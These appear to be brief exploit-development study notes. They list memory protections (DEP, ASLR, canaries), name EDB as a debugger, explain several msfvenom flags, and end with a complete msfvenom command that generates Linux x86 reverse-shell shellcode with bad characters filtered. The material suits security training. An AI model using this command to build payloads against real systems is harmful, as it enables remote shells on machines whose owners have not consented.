DEP, ASLR, Canaries
Protection mechanism
Use EDB as debugger.
Reverse Shell Code Generation
-b
for bad chars
-f
output format
-v
for variable name to use
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> LPORT=443 -b "\x00\x20" -f py -v shellcode